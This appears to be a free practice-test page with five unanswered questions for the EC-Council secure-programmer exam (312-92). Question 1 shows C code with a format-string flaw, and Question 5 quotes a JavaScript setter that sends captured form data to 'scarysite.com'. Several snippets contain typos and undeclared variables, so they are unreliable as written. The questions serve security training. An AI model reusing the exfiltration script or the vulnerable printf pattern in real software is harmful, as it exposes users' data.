Online Access Free 312-92 Practice Test

Exam Code:312-92
Exam Name:EC-Council Certified Secure Programmer v2
Certification Provider:EC-COUNCIL
Free Question Number:99
Posted:Dec 17, 2025
Rating
100%

Question 1

David is an applications developer working for Dewer and Sons law firm in Los Angeles David just completed a course on writing secure code and was enlightened by all the intricacies of how code must be rewritten many times to ensure its security. David decides to go through all the applications he has written and change them to be more secure. David comes across the following snippet in one of his programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar('\n');
printf("number (%p) is equal to %d\n",
&value, value);
}
What could David change, add, or delete to make this code more secure?

Question 2

Devon is writing the following code to avoid what?
<script language="vb" runat="server">
Sub Application_BeginRequest(Sender as object, E as EventArgs)
If (Request.Path.Indexof(chr(92)) >= 0 OR _
System.IO.Path.GetFullPath
(Request.PhysicalPath) <> Request.PhysicalPath)
then
Throw New HttpException(404, "Not Found"
End If
End Sub
</script>

Question 3

Travis is writing a website in PHP but is worried about its inherent vulnerability from session hijacking. What function could Travis use to protect against session hijacking in his PHP code?

Question 4

When making a RPC function call on the local machine, what function should be used?

Question 5

Travis, a senior systems developer for YNY Services, received an email recently from an unknown source. Instead of opening the email on his normal production machine, Travis decides to copy the email to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and discovers a link that is supposed to take him to
http://scarysite.com. Travis decides to get back on his production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring = ""
for(fld in this) {
obstring += fld + ": " this[fld] + ", ";
}
obstring += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://scarysite.com?obj=" +
escape(objString), true);
req.send(null);
}
</script>

Add Comments

Your email address will not be published. Required fields are marked *

insert code
Type the characters from the picture.